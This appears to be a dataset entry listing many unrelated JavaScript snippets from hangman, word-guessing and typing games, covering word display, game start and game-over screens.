//CHEAT -- GET THE ANSWERS IN CONCOLE\n \n}","function clock() {\n timeElapsed = timeElapsed + letterTime;\n if (!flipped) {\n lettersShow = lettersShow + 1;\n flipped = (lettersShow >= currentWord.length)\n }else{\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\n lettersShow = lettersShow - 1;\n \n if (lettersShow == 0) {\n flipped = false;\n timeElapsed = 0;\n changeWord();\n }\n }\n }\n\n $('#anim-text').text(function(i,t) {\n return currentWord.substr(0,lettersShow);\n })\n }","function printToPage(randomWord) {\n myWord = randomWord.word;\n // concatenate array to Str for printing on one line\n var myStr = '';\n console.log(myWord);\n for (var i = 0; i < myWord.length; i++){\n if (correctGuesses.includes(myWord[i])) {\n myStr += (\" \" + myWord[i] + \" \");\n }\n else {\n myStr += (\" _ \");\n }\n };\n console.log('\\n' + myStr + '\\n');\n if (correctGuesses.length == myWord.length) {\n console.log(\"GG bro\");\n }\n else {\n promptUser();\n };\n \n}","function draw() {\n if (lives <= 0) {\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n ctx.font = \"60px Arial\";\n ctx.fillStyle = \"red\";\n ctx.fillText(\"Game Over\", position, canvas.height / 2);\n return;\n }\n\n /* user type in the word that is being display */\n\n let typeWord = wordInput.value.toLowerCase();\n ctx.clearRect(0, 0, 400, 400);\n movingBackground();\n wordFalls();\n score();\n lifeLine();\n if (typeWord === wordArr[randomIndex]) {\n projectile();\n }\n window.requestAnimationFrame(draw);\n }","function renderGame() {\n // If there are still more words in the array, set the display and write it to the page\n if (currentIndex <= (secretWords.length - 1)) {\n secretWord = secretWords[currentIndex];\n display = repeatChar(secretWord.length, '_');\n tries = 0;\n document.querySelector(\"#progress\").innerHTML = \"Guess the bread: \" + display;\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n // If the supply of breads has been exhausted, render the end game screen.\n else {\n document.querySelector(\"#progress\").innerHTML = \"Game Over!\";\n document.querySelector(\"#results\").innerHTML = \"Refresh the page to play again.\";\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n}","function showWord(words){\n\n //Generate randow array index\n const randIndex = Math.floor(Math.random() *words.length);\n //Output random word\n currentWord.innerHTML=words[randIndex];\n}","function game() {\n //hide words\n //$(\".fiveWords\").hide(); //removed because the letters need to show when new game starts\n \n //move words --alec\n myMove(\"1\");\n myMove(\"2\");\n myMove(\"3\");\n myMove(\"4\");\n myMove(\"5\");\n \n}","function displayEndScreen() {\n //display image\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\n //Set text size in push-pop\n push();\n textSize(19);\n //If player hits zero kids, display this\n if (player.sentence === 0) {\n text(\"It took you only \" + player.timeSpent + \" hours and you did it \\nwithout bumping into children! \\nAmazing job, Hieronymous! Back to \\nloitering!\", 0 + windowWidth / 20, windowWidth / 5);\n //If player hits less than three kids, display this\n } else if (player.sentence < 107) {\n text(\"It took you only \" + player.timeSpent + \" hours \\nand you only added \" + player.sentence + \" days \\n to your community service!\", 0 + windowWidth / 20, windowWidth / 5);\n } else {\n //otherwise, display this message\n text(\"It took you \" + player.timeSpent + \" hours... \\n...but holy crap Hieronymous you added \" + player.sentence + \" days \\nto your community service. Embarrassing.\", 0 + windowWidth / 20, windowWidth / 5);\n }\n pop();\n\n}","function drawGame(word, letters) {\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\n}","function showNewWord(){\n// document.getElementById(\"wordToType\").innerHTML=\" \";\n $(\"#wordBox\").val(\"\");\n// $(\"#wordToType\").html(words[index][0]);\n if (words.length === alreadyUsed.length){\n endGame();\n }\n console.log(\"choosing word\");\n chooseWord();\n document.getElementById(\"wordToType\").innerHTML= words[index][0];\n\n }","function startGame(){\r\n\t \r\n\t let dumDumDum = [];\r\n\t for( iii=0; iii < randomWord.length ; iii++){\t\t\t\r\n\t\t\tdumDumDum.push(\"_\");\r\n\t } \r\n\t// Change the game textcontents to starting values\r\n\tdocument.querySelector(\".the_word\").innerHTML =\"The word: \"+dumDumDum+\" \";\r\n\tdocument.querySelector(\".guesses\").innerHTML =\"Guesses: \";\r\n\tdocument.querySelector(\".guesses_left\").innerHTML =\"Wrong guesses left: \"+livesLeft+\" \"; \t \r\n }","drawSecretWord() {\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\n for (let i = 0; i < GAME.secretWord.length; i++) {\n const element = GAME.secretWord[i];\n if(str_replace(from,to,element) === PLAYER.guess) {\n PLAYER.guessStatus = true\n GAME.answerArray[i] = element\n }\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\n ctx.beginPath()\n ctx.font = \"32px calibri\"\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\n ctx.closePath()\n }\n }","function displayGameOver() {\n push();\n textAlign(CENTER,CENTER);\n textSize(60);\n fill(0,0,0);\n stroke(255,0,0);\n textFont(fontGame);\n text(\"Your artistic experience is terminated \\n sorry Warhol \\n \\n REFRESH to play again :)\",width/2,height/2);\n pop();\n}","function startGame() {\n // Randomly selecting a word from our array\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\n // creating a new word object with the random word\n wordConstructed = new Word(wordUsedForGame);\n // calling the renderWord function to push the letters into the word\n wordConstructed.renderWord();\n\n console.log(\"\\n\");\n console.log(\"Guess The Word. You have 7 chances to get it Right!!!\");\n console.log(\" Hint: The Words are computer Languages \\n\");\n\n // Displaying the dashes based on the word selected using the Word display function \n // they will be dashes because the guessed is set to false\n console.log(wordConstructed.display());\n console.log(\"\\n\");\n\n // calling askLetters to run the game\n askLetters();\n\n\n}","function startGame() {\n wrongGuesses = ' ';\n allGuesses = \"\";\n currentDisplay = [];\n //Randomly selects a word from the array wordList\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \n // Put the selected word into an array\n word = wordString.split(''); \n guessRemain = wordString.length; \n for (var i = 0; i < guessRemain; i++){\n currentDisplay[i] = \"_\"; \n //displays the game\n }\n displayGame(); \n }","function startGame() {\n renderNewWord();\n startBar();\n }","function wordplay() {\n librarycall()\n play = new Word(choice);\n plays = 10\n alphaArr = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n omegaArr = []\n console.log(play.fullDisplay());\n console.log(\"Tries left = \" + plays);\n testletter()\n}","function stepWord() {\n word++;\n syllable = 0;\n process.stdout.write(\" \");\n}","function start()\n{\ndocument.getElementById(\"two\").style.marginTop=\"20%\";\n\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\n\ndocument.getElementById(\"two\").innerHTML =obj.spellings[x].word;\n\nsetInterval(function() {game()},4000); // changing word after every 3 se....\n}","function endLose(word) {\n console.log(\"You lose. The word was:\");\n showWord(word);\n}","function draw() {\n\n noStroke();\n fill(255);\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \n // i MEANS THE FIRST LETTER OF THE sentence \n\n for (let i = 0; i < words.length; i++) {\n // appearing over time...\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \n\n if (frameCount > i * 100) {\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \n \n if (i > 0) {\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\n }\n fill(255);\n text(words[i], wordMarginLeft + extraSpace, 20);\n }\n }\n \n \n}","function drawHangman() {\n}","function updateDisplay() {\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"currentWord\").innerText = \"\";\n\n for (let i = 0; i < guessingWord.length; i++) {\n document.getElementById(\"currentWord\").innerText += guessingWord[i];\n }\n document.getElementById(\"remainingGuesses\").innerText = remainingGuesses;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n if (remainingGuesses <= 0) {\n document.getElementById(\"gameover-image\").style.cssText = \"display: block\";\n document.getElementById(\"pressKeyTryAgain\").style.cssText =\n \"display: block\";\n hasFinished = true;\n }\n}","function gameStart() {\n resetCounters();\n generateRandomWord();\n hideTheWord(); \n document.getElementById(\"guesses\").innerHTML = guessesLeft;\n // Make variable to track letters to be guessed\n var lettersLeft = randWord.length;\n console.log(randWord);\n\n setupKeyLogging();\n \n document.getElementById(\"wins\").innerHTML = wins;\n \n \n\n\n removeHandler(); \n}","function writeWord(){\n var letterOrDash = \"\";\n var allLettersGuessed = true;\n\n for(var i=0; i `\n \n ${correctLetters.includes(letter) ? letter : '' }\n \n `\n )\n .join('')\n }\n `;\n // TO check -> console.log(word.innerText);\n // To chack -> console.log(wordText);\n const wordText = word.innerText.replace(/\\n/g, '');\n if(wordText === selectedWord) {\n message.innerText = 'You Won!';\n popup.style.display = 'flex';\n }\n}","function renderEndGameText() {\n gameBackground.zIndex = 45;\n sortZindex(gameScreen);\n longBoard.visible = true;\n endText.visible = true;\n endText.speed = END_TEXT_SPEED;\n endGameSelected = true;\n}","function displayWord() {\n wordElement.innerHTML = \n `${selectedWord\n .split('')\n .map(letter =>\n `\n ${correctLetters.includes(letter) ? letter : ''}\n `\n ).join('')}`;\n \n //console.log(wordElement.innerText);\n \n //Remove New Line Character \n const innerWord = wordElement.innerText.replace(/\\n/g, '')\n //console.log(innerWord); \n\n if (innerWord === selectedWord) {\n finalMessage.innerText = 'You Won!';\n popUp.style.display = 'flex';\n }\n}","function displayWord(array){\n word = array[Math.floor(Math.random() * array.length)];\n var display = document.getElementById(\"display\");\n display.innerText = word;\n}","function gameOver() {\n background(0);\n fill(255, 0, 0);\n textFont(myFont, 80);\n textAlign(CENTER);\n text(\"LOSER\", 400, 200);\n textSize(32);\n text(\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\", 400, 270);\n text(\"YOU HAVE DONE THE WRONG THING!\", 400, 285);\n text(\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\", 400, 300);\n text(\" TO THE DYING PERSON FIRST.\", 400, 315);\n text(\"BETTER LUCK NEXT TIME.\", 400, 330);\n textSize(40);\n text(\"REFRESH THE PAGE TO PLAY AGAIN\", 400, 485);\n}","startGame() {\r\n $(\"#overlay\").hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }","function showTheWord() {\n // get random word then store it in the global var theWord\n theWord = getRandomWord().split(''); // make it into array\n\n // place underscore referencing the number of letters\n for (var i = 0; i < theWord.length; i++) {\n $(\"#letterHolder\").append($(\"_\"));\n }\n }","function showGameOver() {\n gameSound.pause();\n textSize(60);\n textAlign(CENTER,CENTER);\n fill(243,231,45);\n var gameOverText = \"GAME OVER\\n\";\n gameOverText += \"You caught \" + snitchEaten + \" snitch\\n\";\n gameOverText += \"before you died.\"\n text(gameOverText,width/2,height/2);\n}","function startGame()\n{\n\t//selects random word\n\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\n\ttargetWordArray = targetWord.split(\"\");\n\t//transforms word to an array of dashes\n\tfor(i=0; i=10) {\n wordz+=\"\\n YOU WIN\";\n\n} else {\n wordz+=\"\\n YOU LOSE\";\n}\n words = wordz;\n}","function newWord(){\n var wordBank = [\"susie\", \"transmogrifier\", \"spacemanspiff\",\"gross\", \"calvinball\", \"stupendousman\", \"tracerbullet\", \"toboggan\", \"duplicator\", \"misswormwood\", \"hamsterhuey\", \"gooeykablooie\"];\n console.log(wordIndex)\n console.log(wordBank.length)\n if(wordIndex >= wordBank.length){\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n updateField(\"message-text\", \"Aww shucks, we're all out of words
You got \"+wins+\" out of \"+wordBank.length+\" right!\");\n return;\n }\n currentWord=wordBank[wordIndex];\n wordDisplay.innerHTML = createDisplay(currentWord);\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n //upddate message board\n updateField(\"message-text\", \"Next Word!\")\n //resetting parameters\n guessedArray = [\"\"];\n updateLettersGuessedField();\n guessesLeft = 6\n updateField(\"guesses-left\",guessesLeft);\n lettersCorrect = 0;\n //reset stopGame\n stopGame = false; \n}","function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i';\n document.getElementById(\"letter\" + i).innerHTML = \"_ \";\n }\n return randomWord;\n}"],"string":"[\n \"function DisplayWord() {\\n\\tvar wordToPrint : String;\\n\\tvar hWord : GameObject;\\n\\t//var offset : float;\\n\\tswitch(this.kana) {\\n\\t\\tcase \\\"a\\\":\\n\\t\\t\\twordToPrint = \\\"あ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"i\\\":\\n\\t\\t\\twordToPrint = \\\"い な ず ま\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"u\\\":\\n\\t\\t\\twordToPrint = \\\"う さ ぎ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\n\\t\\tcase \\\"e\\\":\\n\\t\\t\\twordToPrint = \\\"え ん\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"o\\\":\\n\\t\\t\\twordToPrint = \\\"お す\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ka\\\":\\n\\t\\t\\twordToPrint = \\\"か た な\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ki\\\":\\n\\t\\t\\twordToPrint = \\\"き り か ぶ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ku\\\":\\n\\t\\t\\twordToPrint = \\\"く さ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ke\\\":\\n\\t\\t\\twordToPrint = \\\"け る\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ko\\\":\\n\\t\\t\\twordToPrint = \\\"こ ぶ し\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\t;\\n\\t\\t\\t\\t\\n\\t}\\n\\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\\n\\t//offset = .005 * wordToPrint.Length;\\n\\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\\n\\thWord.guiText.text = wordToPrint;\\n}\",\n \"function dashes(){\\r\\n document.getElementById('word').innerHTML = '';\\r\\n for (var i = 0; i < guesses.length; i++)\\r\\n document.getElementById('word').innerHTML += guesses[i] + ' ';\\r\\n document.getElementById('start').style.visibility = \\\"hidden\\\";\\r\\n}\",\n \"function handleText() {\\n if (index < text.length) {\\n id(\\\"output\\\").innerText = \\\"\\\";\\n let curWord = text[index];\\n id(\\\"output\\\").innerText = curWord;\\n index++;\\n } else {\\n endGame();\\n }\\n }\",\n \"function showWord(word) {\\n var i;\\n for (i = 0; i < word.length; i ++) {\\n process.stdout.write(word[i]);\\n }\\n playAgain();\\n}\",\n \"function displayNextWordFor(objectName){\\n\\tvar obj = HangMan[objectName];\\n\\tHangMan.gameReady = true;\\n\\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\\n\\tobj.lives = 10;\\n\\tobj.guesses = [];\\n\\tobj.trueg = [];\\n\\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\\n\\tobj.falseg = [];\\n\\tloadObject(objectName);\\n}\",\n \"function displayWord(word, words, firstRound) {\\n\\t\\tconsole.log(\\\"currWord: \\\" + word);\\n\\t\\tdocument.getElementById(\\\"currWord\\\").innerHTML = word;\\n\\t\\tvar currChar = 0;\\n\\n\\t\\tvar wordLength = word.length;\\n\\n\\t\\t$('#currWord').on('click', function() {\\n\\t\\t\\tif (firstRound) {\\n\\t\\t\\t\\t$('#typeDummy').toggleClass('highlight');\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\t//when the user types a key\\n\\t\\tdocument.onkeypress = function(evt) {\\n\\t\\t\\tif (!gameOver) {\\n\\t\\t\\t\\tif (evt.keyCode == 8) {\\n\\t\\t\\t\\t \\tevt.preventDefault();\\n\\t\\t\\t\\t}\\t\\t\\n\\t\\t\\t evt = evt || window.event;\\n\\t\\t\\t var charCode = evt.which || evt.keyCode;\\n\\t\\t\\t var charTyped = String.fromCharCode(charCode);\\n\\n\\t\\t\\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\\n\\t\\t\\t\\t if (charCode == word.charCodeAt(currChar)) {\\n\\t\\t\\t\\t \\tcurrChar++;\\n\\t\\t\\t\\t \\tdocument.getElementById(\\\"currWord\\\").innerHTML = \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(0,currChar) + \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(currChar, wordLength);\\n\\t\\t\\t\\t } else {\\n\\t\\t\\t\\t \\tmistakeCount++;\\n\\t\\t\\t\\t \\tif (mistakeCount < 8) {\\n\\t\\t\\t\\t\\t \\t$(\\\"#misses\\\").html( $(\\\"#misses\\\").html() + \\\"X\\\" );\\n\\t\\t\\t\\t \\t} else {\\n\\t\\t\\t\\t \\t\\t$(\\\"#misses\\\").html(mistakeCount);\\n\\t\\t\\t\\t \\t}\\n\\t\\t\\t\\t }\\n\\t\\t \\t}\\n\\n\\t\\t \\t//once the user has fully typed the word\\n\\t\\t\\t if (currChar == wordLength) {\\n\\t\\t\\t \\tif (firstRound) {\\n\\t\\t\\t \\t\\tstartGame();\\n\\t\\t\\t \\t} else {\\n\\t\\t\\t \\t\\twordCount++;\\n\\t\\t\\t \\t\\trando = words[Math.floor(Math.random() * words.length)];\\n\\t\\t\\t \\t\\tdisplayWord(rando, words, false);\\n\\t\\t\\t \\t}\\n\\t\\t\\t }\\n\\t\\t }\\n\\t\\t};\\n\\t}\",\n \"function final(any) {\\n element.wordGuess.textContent = string[any]; // will show win or lose string property\\n sound[any].play(); //will play win or lose sound\\n score[any]++; //will increment win or lose score\\n update(); \\n setTimeout(function () { //timer so that you can enjoy the music and strings\\n reset();\\n }, 2000);\\n }\",\n \"function displayWord(myword, desc){\\r\\n let display = \\\"\\\";\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length - 1){\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n document.getElementById(\\\"desc\\\").innerHTML = desc;\\r\\n}\",\n \"function Display(){\\n document.getElementById(\\\"wins\\\").textContent = countWins;\\n document.getElementById(\\\"dispWord\\\").textContent = dispWord;\\n document.getElementById(\\\"guessesLeft\\\").textContent = 12 - countGuesses;\\n document.getElementById(\\\"lettersGuessed\\\").textContent = lettersGuessed;\\n console.log(\\\"Random word is: \\\" + guessWord);\\n}\",\n \"function endWord() {\\n var stringDisplay = \\\"\\\"\\n globalList.forEach(function(item){\\n stringDisplay += item\\n document.querySelector(\\\"#applyGuess\\\").innerHTML = stringDisplay.toUpperCase()\\n document.querySelector(\\\"#endWord\\\").innerHTML = \\\"Word Was:\\\"\\n })\\n}\",\n \"function reveal(guess) {\\n for (var z = 0; z < word.length; z++) {\\n if (word[z] == guess) {\\n context.fillText(word[z], (100 + (z * 20)), 490);\\n lettersRemaining--;\\n console.log(\\\"reveal: \\\" + lettersRemaining);\\n }\\n }\\n }\",\n \"function showWord(words)\\r\\n{\\r\\n\\t//generate random array index\\r\\n\\tconst randIndex=Math.floor(Math.random() * words.length);\\r\\n\\t//output random word\\r\\n\\tcurrentWord.innerHTML=words[randIndex];\\r\\n}\",\n \"function showword(words){\\n const randindex = Math.floor(Math.random() * words.length);\\n\\n //output random word\\n currentword.innerHTML = words[randindex];\\n}\",\n \"function displayLetter(myword, letter, word){ // by jaguar\\r\\n let display = \\\"\\\";\\r\\n let mywordarr = myword.split(\\\"\\\")\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length){\\r\\n if(letter === word.charAt(i)){\\r\\n display = display + letter + \\\" \\\";\\r\\n mywordarr[i] = letter\\r\\n } else {\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n }\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n displayed = mywordarr.join(\\\"\\\")\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n checkWincondition(display, word)\\r\\n}\",\n \"function updateDisplay(wordArray, midGame) {\\n // let wordJoin = wordArray.join(\\\" \\\");\\n document.getElementById(\\\"guess-word\\\").innerHTML = wordArray.join(\\\" \\\");\\n if (midGame !== undefined) {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\" + midGame.join(\\\", \\\");\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + parseInt(numGuesses - midGame.length);\\n document.getElementById(\\\"hangman-graphic\\\").innerHTML = hangdood[midGame.length];\\n }\\n else {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\";\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + numGuesses;\\n }\\n }\",\n \"function renderNewWord() {\\n\\n // random word generator\\n var random = Math.floor(Math.random() * wordLength.length);\\n\\n // get a random word and clear the string display\\n let word = wordLength[random];\\n wordDisplayString.innerHTML = \\\"\\\";\\n\\n // for each character in the word array create a 1 char span\\n word.split(\\\"\\\").forEach(character => {\\n const characterSpan = document.createElement(\\\"span\\\");\\n characterSpan.innerText = character;\\n wordDisplayString.appendChild(characterSpan);\\n })\\n\\n // set input to null and focus it\\n wordInput.value = null;\\n wordInput.focus();\\n }\",\n \"function showWord(words) {\\r\\n const randIndex = Math.floor(Math.random() * words.length);\\r\\n currentWord.innerHTML = words[randIndex];\\r\\n }\",\n \"displayWordInfo() {\\r\\n this.displayHangman();\\r\\n this.displayLives();\\r\\n this.displayLetters();\\r\\n this.displayLettersToGuess();\\r\\n }\",\n \"function showWord(words) {\\n const randIndex = Math.floor(Math.random() * words.length);\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function displayNextLevel() {\\r\\n getWord(level);\\r\\n encryptGameWord();\\r\\n writeEncryptedWord();\\r\\n writeGameInfo();\\r\\n toggleGameElements();\\r\\n startTimer(80);\\r\\n $(\\\"#user-word\\\").focus();\\r\\n }\",\n \"function renderGame() {\\n // Set a random word\\n randomNumber = Math.floor(Math.random() * 21); \\n currentWord = wordArray[randomNumber][0];\\n console.log(\\\"currentWord\\\", currentWord);\\n\\n if (currentWord.length < 8) {\\n guessesLeft = currentWord.length + 3;\\n // console.log(\\\"guessesLeft\\\", guessesLeft);\\n } else {\\n guessesLeft = 8;\\n }\\n\\n lettersGuessed = [];\\n // console.log(\\\"lettersGuessed\\\", lettersGuessed);\\n dashArr = [];\\n\\n\\n\\n\\n splitArr = currentWord.toLowerCase().split('');\\n // console.log(\\\"splitArr\\\", splitArr);\\n\\n // Check the length of word and render dashes\\n // Check for spaces\\n splitArr.map(index => {\\n if (index === \\\" \\\") {\\n dashArr.push(' ');\\n }\\n\\n else {\\n dashArr.push('-');\\n }\\n })\\n\\n // console.log(\\\"dashArr\\\", dashArr);\\n\\n displayWord = dashArr.join('');\\n\\n // console.log(\\\"displayWord\\\", displayWord);\\n\\n document.querySelector(\\\"#display-word\\\").innerHTML = displayWord.toUpperCase();\\n document.querySelector(\\\"#display-wins\\\").innerHTML = wins;\\n document.querySelector(\\\"#display-losses\\\").innerHTML = losses;\\n document.querySelector(\\\"#display-guesses-left\\\").innerHTML = guessesLeft;\\n document.querySelector(\\\"#display-image\\\").src = \\\"./assets/images/finnandjake.png\\\";\\n document.querySelector(\\\"#display-letters-guessed\\\").innerHTML = lettersGuessed;\\n document.querySelector(\\\"#instructions\\\").innerHTML = \\\"Guess A Letter To Get Started!\\\" ;\\n\\n\\n\\n}\",\n \"function endWin(word) {\\n console.log(\\\"You win. The word was:\\\");\\n showWord(word);\\n}\",\n \"function hangman(){\\n var x = word.length;\\n var y = x-1;\\n var spaces = 0;\\n while (x>0){\\n numChar++;\\n var letter = word.substring(y,x);\\n if(letter === \\\" \\\"){\\n document.getElementById('letter'+x).innerHTML = \\\" \\\";\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('letter'+x).style.display = \\\"block\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\";\\n spaces++;\\n }\\n else{\\n document.getElementById('letter'+x).innerHTML = letter;\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\"; \\n document.getElementById('underline'+x).style.borderBottom = \\\"3px solid white\\\";\\n }\\n x--;\\n y--;\\n }\\n wordLength = word.length - spaces;\\n document.getElementById('gamePage').style.display = \\\"block\\\";\\n\\n}\",\n \"function drawboard(location, word) {\\n for (var i = 0; i < word.length; i++) {\\n context.fillText('_ ', (location[0] + i * 20), location[1]);\\n }\\n }\",\n \"function showText() {\\n $(\\\"#textDisplay\\\").empty();\\n $(\\\"#instructions\\\").empty();\\n randomWords = [];\\n for (var i = 0; i < wordCount; i++) {\\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\\n randomWords.push(ranWord);\\n }\\n }\\n randomWords.forEach(function(word){\\n $(\\\"#textDisplay\\\").append($(\\\"\\\",{\\\"text\\\": word + \\\" \\\",\\\"class\\\":\\\"word\\\"}));\\n });\\n textDisplay.firstChild.classList.add(\\\"highlightedWord\\\")\\n }\",\n \"function showWord(words) {\\n // Generate random array index\\n const randIndex = Math.floor(Math.random() * words.length);\\n // Output the random word\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function currentWordDisplay() {\\n var activeCharacterDisplay = document.querySelector(\\\"#activeCharacterDisplay\\\");\\n activeCharacterDisplay.textContent = answerArray.join(\\\" \\\");\\n}\",\n \"function showWord(words){\\r\\n// generate random array index//\\r\\nconst randIndex =math.floor(math.random() * words.length);\\r\\n// output random words//\\r\\ncurrentWord.innerHTML = words[randIndex];\\r\\n}\",\n \"function right() {\\r\\n //if guess is correct\\r\\n //keep checking if to see if there is another space for the same letter\\r\\n for (var j = 0; j < underScore.length; j++) {\\r\\n if (word[j] === guess) {\\r\\n underScore[j] = guess;\\r\\n var blank = \\\"\\\" + underScore.join(\\\" \\\") + \\\"
\\\";\\r\\n document.getElementById(\\\"blank\\\").innerHTML = blank;\\r\\n }\\r\\n //hide and show you win div\\r\\n if (underScore.join(\\\"\\\") === word) {\\r\\n winMessage.show();\\r\\n direct.hide();\\r\\n }\\r\\n }\\r\\n}\",\n \"function displayLetters(guess){\\n\\t\\tfor (var i=0;i {currentWord.innerHTML = words[0][randIndex]}, 200)\\r\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"counterWins\\\").innerText = wins;\\n var guessingWordText = \\\"\\\";\\n for (var i = 0; i < guessingWord.length; i++) {\\n guessingWordText += guessingWord[i];\\n }\\n document.getElementById(\\\"currentWord\\\").innerText = guessingWordText;\\n document.getElementById(\\\"counterLives\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"counterGuessed\\\").innerText = guessedLetters;\\n}\",\n \"function lose() {\\n gameEnd.css('display', 'block');\\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\\n}\",\n \"function underline(){\\r\\n\\r\\n underscore = [];\\r\\n for(let i=0;i 0) {\\n wins++;\\n var showWins = document.getElementById(\\\"wins\\\");\\n showWins.innerHTML = wins;\\n }\\n }\\n}\",\n \"function updateDisplay() {\\n\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"totalLosses\\\").innerText = 